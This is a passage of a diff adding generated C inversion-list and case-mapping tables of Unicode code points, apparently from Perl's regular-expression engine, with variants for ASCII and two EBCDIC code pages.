+	0x1C7,
+	0,
+	0x1CA,
+	0x1CA,
+	0,
+	0x1CD,
+	0,
+	0x1CF,
+	0,
+	0x1D1,
+	0,
+	0x1D3,
+	0,
+	0x1D5,
+	0,
+	0x1D7,
+	0,
+	0x1D9,
+	0,
+	0x1DB,
+	0x18E,
+	0,
+	0x1DE,
+	0,
+	0x1E0,
+	0,
+	0x1E2,
+	0,
+	0x1E4,
+	0,
+	0x1E6,
+	0,
+	0x1E8,
+	0,
+	0x1EA,
+	0,
+	0x1EC,
+	0,
+	0x1EE,
+	UC_use_AUX_TABLE_3,
+	0,
+	0x1F1,
+	0x1F1,
+	0,
+	0x1F4,
+	0,
+	0x1F8,
+	0,
+	0x1FA,
+	0,
+	0x1FC,
+	0,
+	0x1FE,
+	0,
+	0x200,
+	0,
+	0x202,
+	0,
+	0x204,
+	0,
+	0x206,
+	0,
+	0x208,
+	0,
+	0x20A,
+	0,
+	0x20C,
+	0,
+	0x20E,
+	0,
+	0x210,
+	0,
+	0x212,
+	0,
+	0x214,
+	0,
+	0x216,
+	0,
+	0x218,
+	0,
+	0x21A,
+	0,
+	0x21C,
+	0,
+	0x21E,
+	0,
+	0x222,
+	0,
+	0x224,
+	0,
+	0x226,
+	0,
+	0x228,
+	0,
+	0x22A,
+	0,
+	0x22C,
+	0,
+	0x22E,
+	0,
+	0x230,
+	0,
+	0x232,
+	0,
+	0x23B,
+	0,
+	0x2C7E,
+	0,
+	0x241,
+	0,
+	0x246,
+	0,
+	0x248,
+	0,
+	0x24A,
+	0,
+	0x24C,
+	0,
+	0x24E,
+	0x2C6F,
+	0x2C6D,
+	0x2C70,
+	0x181,
+	0x186,
+	0,
+	0x189,
+	0,
+	0x18F,
+	0,
+	0x190,
+	0xA7AB,
+	0,
+	0x193,
+	0xA7AC,
+	0,
+	0x194,
+	0,
+	0xA78D,
+	0xA7AA,
+	0,
+	0x197,
+	0x196,
+	0xA7AE,
+	0x2C62,
+	0xA7AD,
+	0,
+	0x19C,
+	0,
+	0x2C6E,
+	0x19D,
+	0,
+	0x19F,
+	0,
+	0x2C64,
+	0,
+	0x1A6,
+	0,
+	0x1A9,
+	0,
+	0xA7B1,
+	0x1AE,
+	0x244,
+	0x1B1,
+	0x245,
+	0,
+	0x1B7,
+	0,
+	0xA7B2,
+	0xA7B0,
+	0,
+	0x399,
+	0,
+	0x370,
+	0,
+	0x372,
+	0,
+	0x376,
+	0,
+	0x3FD,
+	0,
+	UC_use_AUX_TABLE_4,
+	0,
+	0x386,
+	0x388,
+	UC_use_AUX_TABLE_5,
+	0x391,
+	0x3A3,
+	0x3A3,
+	0x38C,
+	0x38E,
+	0,
+	0x392,
+	0x398,
+	0,
+	0x3A6,
+	0x3A0,
+	0x3CF,
+	0,
+	0x3D8,
+	0,
+	0x3DA,
+	0,
+	0x3DC,
+	0,
+	0x3DE,
+	0,
+	0x3E0,
+	0,
+	0x3E2,
+	0,
+	0x3E4,
+	0,
+	0x3E6,
+	0,
+	0x3E8,
+	0,
+	0x3EA,
+	0,
+	0x3EC,
+	0,
+	0x3EE,
+	0x39A,
+	0x3A1,
+	0x3F9,
+	0x37F,
+	0,
+	0x395,
+	0,
+	0x3F7,
+	0,
+	0x3FA,
+	0,
+	0x410,
+	0x400,
+	0,
+	0x460,
+	0,
+	0x462,
+	0,
+	0x464,
+	0,
+	0x466,
+	0,
+	0x468,
+	0,
+	0x46A,
+	0,
+	0x46C,
+	0,
+	0x46E,
+	0,
+	0x470,
+	0,
+	0x472,
+	0,
+	0x474,
+	0,
+	0x476,
+	0,
+	0x478,
+	0,
+	0x47A,
+	0,
+	0x47C,
+	0,
+	0x47E,
+	0,
+	0x480,
+	0,
+	0x48A,
+	0,
+	0x48C,
+	0,
+	0x48E,
+	0,
+	0x490,
+	0,
+	0x492,
+	0,
+	0x494,
+	0,
+	0x496,
+	0,
+	0x498,
+	0,
+	0x49A,
+	0,
+	0x49C,
+	0,
+	0x49E,
+	0,
+	0x4A0,
+	0,
+	0x4A2,
+	0,
+	0x4A4,
+	0,
+	0x4A6,
+	0,
+	0x4A8,
+	0,
+	0x4AA,
+	0,
+	0x4AC,
+	0,
+	0x4AE,
+	0,
+	0x4B0,
+	0,
+	0x4B2,
+	0,
+	0x4B4,
+	0,
+	0x4B6,
+	0,
+	0x4B8,
+	0,
+	0x4BA,
+	0,
+	0x4BC,
+	0,
+	0x4BE,
+	0,
+	0x4C1,
+	0,
+	0x4C3,
+	0,
+	0x4C5,
+	0,
+	0x4C7,
+	0,
+	0x4C9,
+	0,
+	0x4CB,
+	0,
+	0x4CD,
+	0x4C0,
+	0,
+	0x4D0,
+	0,
+	0x4D2,
+	0,
+	0x4D4,
+	0,
+	0x4D6,
+	0,
+	0x4D8,
+	0,
+	0x4DA,
+	0,
+	0x4DC,
+	0,
+	0x4DE,
+	0,
+	0x4E0,
+	0,
+	0x4E2,
+	0,
+	0x4E4,
+	0,
+	0x4E6,
+	0,
+	0x4E8,
+	0,
+	0x4EA,
+	0,
+	0x4EC,
+	0,
+	0x4EE,
+	0,
+	0x4F0,
+	0,
+	0x4F2,
+	0,
+	0x4F4,
+	0,
+	0x4F6,
+	0,
+	0x4F8,
+	0,
+	0x4FA,
+	0,
+	0x4FC,
+	0,
+	0x4FE,
+	0,
+	0x500,
+	0,
+	0x502,
+	0,
+	0x504,
+	0,
+	0x506,
+	0,
+	0x508,
+	0,
+	0x50A,
+	0,
+	0x50C,
+	0,
+	0x50E,
+	0,
+	0x510,
+	0,
+	0x512,
+	0,
+	0x514,
+	0,
+	0x516,
+	0,
+	0x518,
+	0,
+	0x51A,
+	0,
+	0x51C,
+	0,
+	0x51E,
+	0,
+	0x520,
+	0,
+	0x522,
+	0,
+	0x524,
+	0,
+	0x526,
+	0,
+	0x528,
+	0,
+	0x52A,
+	0,
+	0x52C,
+	0,
+	0x52E,
+	0,
+	0x531,
+	UC_use_AUX_TABLE_6,
+	0,
+	0x13F0,
+	0,
+	0x412,
+	0x414,
+	0x41E,
+	0x421,
+	0x422,
+	0x42A,
+	0x462,
+	0xA64A,
+	0,
+	0xA77D,
+	0,
+	0x2C63,
+	0,
+	0x1E00,
+	0,
+	0x1E02,
+	0,
+	0x1E04,
+	0,
+	0x1E06,
+	0,
+	0x1E08,
+	0,
+	0x1E0A,
+	0,
+	0x1E0C,
+	0,
+	0x1E0E,
+	0,
+	0x1E10,
+	0,
+	0x1E12,
+	0,
+	0x1E14,
+	0,
+	0x1E16,
+	0,
+	0x1E18,
+	0,
+	0x1E1A,
+	0,
+	0x1E1C,
+	0,
+	0x1E1E,
+	0,
+	0x1E20,
+	0,
+	0x1E22,
+	0,
+	0x1E24,
+	0,
+	0x1E26,
+	0,
+	0x1E28,
+	0,
+	0x1E2A,
+	0,
+	0x1E2C,
+	0,
+	0x1E2E,
+	0,
+	0x1E30,
+	0,
+	0x1E32,
+	0,
+	0x1E34,
+	0,
+	0x1E36,
+	0,
+	0x1E38,
+	0,
+	0x1E3A,
+	0,
+	0x1E3C,
+	0,
+	0x1E3E,
+	0,
+	0x1E40,
+	0,
+	0x1E42,
+	0,
+	0x1E44,
+	0,
+	0x1E46,
+	0,
+	0x1E48,
+	0,
+	0x1E4A,
+	0,
+	0x1E4C,
+	0,
+	0x1E4E,
+	0,
+	0x1E50,
+	0,
+	0x1E52,
+	0,
+	0x1E54,
+	0,
+	0x1E56,
+	0,
+	0x1E58,
+	0,
+	0x1E5A,
+	0,
+	0x1E5C,
+	0,
+	0x1E5E,
+	0,
+	0x1E60,
+	0,
+	0x1E62,
+	0,
+	0x1E64,
+	0,
+	0x1E66,
+	0,
+	0x1E68,
+	0,
+	0x1E6A,
+	0,
+	0x1E6C,
+	0,
+	0x1E6E,
+	0,
+	0x1E70,
+	0,
+	0x1E72,
+	0,
+	0x1E74,
+	0,
+	0x1E76,
+	0,
+	0x1E78,
+	0,
+	0x1E7A,
+	0,
+	0x1E7C,
+	0,
+	0x1E7E,
+	0,
+	0x1E80,
+	0,
+	0x1E82,
+	0,
+	0x1E84,
+	0,
+	0x1E86,
+	0,
+	0x1E88,
+	0,
+	0x1E8A,
+	0,
+	0x1E8C,
+	0,
+	0x1E8E,
+	0,
+	0x1E90,
+	0,
+	0x1E92,
+	0,
+	0x1E94,
+	UC_use_AUX_TABLE_7,
+	UC_use_AUX_TABLE_8,
+	UC_use_AUX_TABLE_9,
+	UC_use_AUX_TABLE_10,
+	UC_use_AUX_TABLE_11,
+	0x1E60,
+	0,
+	0x1EA0,
+	0,
+	0x1EA2,
+	0,
+	0x1EA4,
+	0,
+	0x1EA6,
+	0,
+	0x1EA8,
+	0,
+	0x1EAA,
+	0,
+	0x1EAC,
+	0,
+	0x1EAE,
+	0,
+	0x1EB0,
+	0,
+	0x1EB2,
+	0,
+	0x1EB4,
+	0,
+	0x1EB6,
+	0,
+	0x1EB8,
+	0,
+	0x1EBA,
+	0,
+	0x1EBC,
+	0,
+	0x1EBE,
+	0,
+	0x1EC0,
+	0,
+	0x1EC2,
+	0,
+	0x1EC4,
+	0,
+	0x1EC6,
+	0,
+	0x1EC8,
+	0,
+	0x1ECA,
+	0,
+	0x1ECC,
+	0,
+	0x1ECE,
+	0,
+	0x1ED0,
+	0,
+	0x1ED2,
+	0,
+	0x1ED4,
+	0,
+	0x1ED6,
+	0,
+	0x1ED8,
+	0,
+	0x1EDA,
+	0,
+	0x1EDC,
+	0,
+	0x1EDE,
+	0,
+	0x1EE0,
+	0,
+	0x1EE2,
+	0,
+	0x1EE4,
+	0,
+	0x1EE6,
+	0,
+	0x1EE8,
+	0,
+	0x1EEA,
+	0,
+	0x1EEC,
+	0,
+	0x1EEE,
+	0,
+	0x1EF0,
+	0,
+	0x1EF2,
+	0,
+	0x1EF4,
+	0,
+	0x1EF6,
+	0,
+	0x1EF8,
+	0,
+	0x1EFA,
+	0,
+	0x1EFC,
+	0,
+	0x1EFE,
+	0x1F08,
+	0,
+	0x1F18,
+	0,
+	0x1F28,
+	0,
+	0x1F38,
+	0,
+	0x1F48,
+	0,
+	UC_use_AUX_TABLE_12,
+	0x1F59,
+	UC_use_AUX_TABLE_13,
+	0x1F5B,
+	UC_use_AUX_TABLE_14,
+	0x1F5D,
+	UC_use_AUX_TABLE_15,
+	0x1F5F,
+	0,
+	0x1F68,
+	0,
+	0x1FBA,
+	0x1FC8,
+	0x1FDA,
+	0x1FF8,
+	0x1FEA,
+	0x1FFA,
+	0,
+	UC_use_AUX_TABLE_16,
+	UC_use_AUX_TABLE_17,
+	UC_use_AUX_TABLE_18,
+	UC_use_AUX_TABLE_19,
+	UC_use_AUX_TABLE_20,
+	UC_use_AUX_TABLE_21,
+	UC_use_AUX_TABLE_22,
+	UC_use_AUX_TABLE_23,
+	UC_use_AUX_TABLE_16,
+	UC_use_AUX_TABLE_17,
+	UC_use_AUX_TABLE_18,
+	UC_use_AUX_TABLE_19,
+	UC_use_AUX_TABLE_20,
+	UC_use_AUX_TABLE_21,
+	UC_use_AUX_TABLE_22,
+	UC_use_AUX_TABLE_23,
+	UC_use_AUX_TABLE_24,
+	UC_use_AUX_TABLE_25,
+	UC_use_AUX_TABLE_26,
+	UC_use_AUX_TABLE_27,
+	UC_use_AUX_TABLE_28,
+	UC_use_AUX_TABLE_29,
+	UC_use_AUX_TABLE_30,
+	UC_use_AUX_TABLE_31,
+	UC_use_AUX_TABLE_24,
+	UC_use_AUX_TABLE_25,
+	UC_use_AUX_TABLE_26,
+	UC_use_AUX_TABLE_27,
+	UC_use_AUX_TABLE_28,
+	UC_use_AUX_TABLE_29,
+	UC_use_AUX_TABLE_30,
+	UC_use_AUX_TABLE_31,
+	UC_use_AUX_TABLE_32,
+	UC_use_AUX_TABLE_33,
+	UC_use_AUX_TABLE_34,
+	UC_use_AUX_TABLE_35,
+	UC_use_AUX_TABLE_36,
+	UC_use_AUX_TABLE_37,
+	UC_use_AUX_TABLE_38,
+	UC_use_AUX_TABLE_39,
+	UC_use_AUX_TABLE_32,
+	UC_use_AUX_TABLE_33,
+	UC_use_AUX_TABLE_34,
+	UC_use_AUX_TABLE_35,
+	UC_use_AUX_TABLE_36,
+	UC_use_AUX_TABLE_37,
+	UC_use_AUX_TABLE_38,
+	UC_use_AUX_TABLE_39,
+	0x1FB8,
+	UC_use_AUX_TABLE_40,
+	UC_use_AUX_TABLE_41,
+	UC_use_AUX_TABLE_42,
+	0,
+	UC_use_AUX_TABLE_43,
+	UC_use_AUX_TABLE_44,
+	0,
+	UC_use_AUX_TABLE_41,
+	0,
+	0x399,
+	0,
+	UC_use_AUX_TABLE_45,
+	UC_use_AUX_TABLE_46,
+	UC_use_AUX_TABLE_47,
+	0,
+	UC_use_AUX_TABLE_48,
+	UC_use_AUX_TABLE_49,
+	0,
+	UC_use_AUX_TABLE_46,
+	0,
+	0x1FD8,
+	UC_use_AUX_TABLE_50,
+	UC_use_AUX_TABLE_4,
+	0,
+	UC_use_AUX_TABLE_51,
+	UC_use_AUX_TABLE_52,
+	0,
+	0x1FE8,
+	UC_use_AUX_TABLE_53,
+	UC_use_AUX_TABLE_5,
+	UC_use_AUX_TABLE_54,
+	0x1FEC,
+	UC_use_AUX_TABLE_55,
+	UC_use_AUX_TABLE_56,
+	0,
+	UC_use_AUX_TABLE_57,
+	UC_use_AUX_TABLE_58,
+	UC_use_AUX_TABLE_59,
+	0,
+	UC_use_AUX_TABLE_60,
+	UC_use_AUX_TABLE_61,
+	0,
+	UC_use_AUX_TABLE_58,
+	0,
+	0x2132,
+	0,
+	0x2160,
+	0,
+	0x2183,
+	0,
+	0x24B6,
+	0,
+	0x2C00,
+	0,
+	0x2C60,
+	0,
+	0x23A,
+	0x23E,
+	0,
+	0x2C67,
+	0,
+	0x2C69,
+	0,
+	0x2C6B,
+	0,
+	0x2C72,
+	0,
+	0x2C75,
+	0,
+	0x2C80,
+	0,
+	0x2C82,
+	0,
+	0x2C84,
+	0,
+	0x2C86,
+	0,
+	0x2C88,
+	0,
+	0x2C8A,
+	0,
+	0x2C8C,
+	0,
+	0x2C8E,
+	0,
+	0x2C90,
+	0,
+	0x2C92,
+	0,
+	0x2C94,
+	0,
+	0x2C96,
+	0,
+	0x2C98,
+	0,
+	0x2C9A,
+	0,
+	0x2C9C,
+	0,
+	0x2C9E,
+	0,
+	0x2CA0,
+	0,
+	0x2CA2,
+	0,
+	0x2CA4,
+	0,
+	0x2CA6,
+	0,
+	0x2CA8,
+	0,
+	0x2CAA,
+	0,
+	0x2CAC,
+	0,
+	0x2CAE,
+	0,
+	0x2CB0,
+	0,
+	0x2CB2,
+	0,
+	0x2CB4,
+	0,
+	0x2CB6,
+	0,
+	0x2CB8,
+	0,
+	0x2CBA,
+	0,
+	0x2CBC,
+	0,
+	0x2CBE,
+	0,
+	0x2CC0,
+	0,
+	0x2CC2,
+	0,
+	0x2CC4,
+	0,
+	0x2CC6,
+	0,
+	0x2CC8,
+	0,
+	0x2CCA,
+	0,
+	0x2CCC,
+	0,
+	0x2CCE,
+	0,
+	0x2CD0,
+	0,
+	0x2CD2,
+	0,
+	0x2CD4,
+	0,
+	0x2CD6,
+	0,
+	0x2CD8,
+	0,
+	0x2CDA,
+	0,
+	0x2CDC,
+	0,
+	0x2CDE,
+	0,
+	0x2CE0,
+	0,
+	0x2CE2,
+	0,
+	0x2CEB,
+	0,
+	0x2CED,
+	0,
+	0x2CF2,
+	0,
+	0x10A0,
+	0,
+	0x10C7,
+	0,
+	0x10CD,
+	0,
+	0xA640,
+	0,
+	0xA642,
+	0,
+	0xA644,
+	0,
+	0xA646,
+	0,
+	0xA648,
+	0,
+	0xA64A,
+	0,
+	0xA64C,
+	0,
+	0xA64E,
+	0,
+	0xA650,
+	0,
+	0xA652,
+	0,
+	0xA654,
+	0,
+	0xA656,
+	0,
+	0xA658,
+	0,
+	0xA65A,
+	0,
+	0xA65C,
+	0,
+	0xA65E,
+	0,
+	0xA660,
+	0,
+	0xA662,
+	0,
+	0xA664,
+	0,
+	0xA666,
+	0,
+	0xA668,
+	0,
+	0xA66A,
+	0,
+	0xA66C,
+	0,
+	0xA680,
+	0,
+	0xA682,
+	0,
+	0xA684,
+	0,
+	0xA686,
+	0,
+	0xA688,
+	0,
+	0xA68A,
+	0,
+	0xA68C,
+	0,
+	0xA68E,
+	0,
+	0xA690,
+	0,
+	0xA692,
+	0,
+	0xA694,
+	0,
+	0xA696,
+	0,
+	0xA698,
+	0,
+	0xA69A,
+	0,
+	0xA722,
+	0,
+	0xA724,
+	0,
+	0xA726,
+	0,
+	0xA728,
+	0,
+	0xA72A,
+	0,
+	0xA72C,
+	0,
+	0xA72E,
+	0,
+	0xA732,
+	0,
+	0xA734,
+	0,
+	0xA736,
+	0,
+	0xA738,
+	0,
+	0xA73A,
+	0,
+	0xA73C,
+	0,
+	0xA73E,
+	0,
+	0xA740,
+	0,
+	0xA742,
+	0,
+	0xA744,
+	0,
+	0xA746,
+	0,
+	0xA748,
+	0,
+	0xA74A,
+	0,
+	0xA74C,
+	0,
+	0xA74E,
+	0,
+	0xA750,
+	0,
+	0xA752,
+	0,
+	0xA754,
+	0,
+	0xA756,
+	0,
+	0xA758,
+	0,
+	0xA75A,
+	0,
+	0xA75C,
+	0,
+	0xA75E,
+	0,
+	0xA760,
+	0,
+	0xA762,
+	0,
+	0xA764,
+	0,
+	0xA766,
+	0,
+	0xA768,
+	0,
+	0xA76A,
+	0,
+	0xA76C,
+	0,
+	0xA76E,
+	0,
+	0xA779,
+	0,
+	0xA77B,
+	0,
+	0xA77E,
+	0,
+	0xA780,
+	0,
+	0xA782,
+	0,
+	0xA784,
+	0,
+	0xA786,
+	0,
+	0xA78B,
+	0,
+	0xA790,
+	0,
+	0xA792,
+	0,
+	0xA796,
+	0,
+	0xA798,
+	0,
+	0xA79A,
+	0,
+	0xA79C,
+	0,
+	0xA79E,
+	0,
+	0xA7A0,
+	0,
+	0xA7A2,
+	0,
+	0xA7A4,
+	0,
+	0xA7A6,
+	0,
+	0xA7A8,
+	0,
+	0xA7B4,
+	0,
+	0xA7B6,
+	0,
+	0xA7B3,
+	0,
+	0x13A0,
+	0,
+	UC_use_AUX_TABLE_62,
+	UC_use_AUX_TABLE_63,
+	UC_use_AUX_TABLE_64,
+	UC_use_AUX_TABLE_65,
+	UC_use_AUX_TABLE_66,
+	UC_use_AUX_TABLE_67,
+	0,
+	UC_use_AUX_TABLE_68,
+	UC_use_AUX_TABLE_69,
+	UC_use_AUX_TABLE_70,
+	UC_use_AUX_TABLE_71,
+	UC_use_AUX_TABLE_72,
+	0,
+	0xFF21,
+	0,
+	0x10400,
+	0,
+	0x104B0,
+	0,
+	0x10C80,
+	0,
+	0x118A0,
+	0,
+	0x1E900,
+	0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
 static const UV UpperLatin1_invlist[] = { /* for ASCII/Latin1 */
 	3,	/* Number of elements */
 	148565664, /* Version and data structure type */
@@ -21728,58 +119273,3535 @@
 	0x100
 };
 
-#endif	/* defined(PERL_IN_REGCOMP_C) */
+#   endif	/* ASCII/Latin1 */
 
-#if defined(PERL_IN_PERL_C)
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
-static const UV VertSpace_invlist[] = { /* for ASCII/Latin1 */
+static const UV UpperLatin1_invlist[] = { /* for EBCDIC 1047 */
+	55,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4,
+	0x5,
+	0x6,
+	0x7,
+	0x8,
+	0xB,
+	0x14,
+	0x15,
+	0x17,
+	0x18,
+	0x1A,
+	0x1C,
+	0x20,
+	0x26,
+	0x28,
+	0x2D,
+	0x30,
+	0x32,
+	0x33,
+	0x37,
+	0x38,
+	0x3C,
+	0x3E,
+	0x3F,
+	0x41,
+	0x4B,
+	0x51,
+	0x5A,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xAD,
+	0xAE,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA,
+	0x100
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV UpperLatin1_invlist[] = { /* for EBCDIC 037 */
+	57,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4,
+	0x5,
+	0x6,
+	0x7,
+	0x8,
+	0xB,
+	0x14,
+	0x16,
+	0x17,
+	0x18,
+	0x1A,
+	0x1C,
+	0x20,
+	0x25,
+	0x28,
+	0x2D,
+	0x30,
+	0x32,
+	0x33,
+	0x37,
+	0x38,
+	0x3C,
+	0x3E,
+	0x3F,
+	0x41,
+	0x4B,
+	0x51,
+	0x5A,
+	0x5F,
+	0x60,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xB0,
+	0xB1,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA,
+	0x100
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_ASCII_invlist[] = { /* for ASCII/Latin1 */
+	2,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x80
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_ASCII_invlist[] = { /* for EBCDIC 1047 */
+	54,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4,
+	0x5,
+	0x6,
+	0x7,
+	0x8,
+	0xB,
+	0x14,
+	0x15,
+	0x17,
+	0x18,
+	0x1A,
+	0x1C,
+	0x20,
+	0x26,
+	0x28,
+	0x2D,
+	0x30,
+	0x32,
+	0x33,
+	0x37,
+	0x38,
+	0x3C,
+	0x3E,
+	0x3F,
+	0x41,
+	0x4B,
+	0x51,
+	0x5A,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xAD,
+	0xAE,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_ASCII_invlist[] = { /* for EBCDIC 037 */
+	56,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4,
+	0x5,
+	0x6,
+	0x7,
+	0x8,
+	0xB,
+	0x14,
+	0x16,
+	0x17,
+	0x18,
+	0x1A,
+	0x1C,
+	0x20,
+	0x25,
+	0x28,
+	0x2D,
+	0x30,
+	0x32,
+	0x33,
+	0x37,
+	0x38,
+	0x3C,
+	0x3E,
+	0x3F,
+	0x41,
+	0x4B,
+	0x51,
+	0x5A,
+	0x5F,
+	0x60,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xB0,
+	0xB1,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_ASSIGNED_invlist[] = { /* for all charsets */
+	1298,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
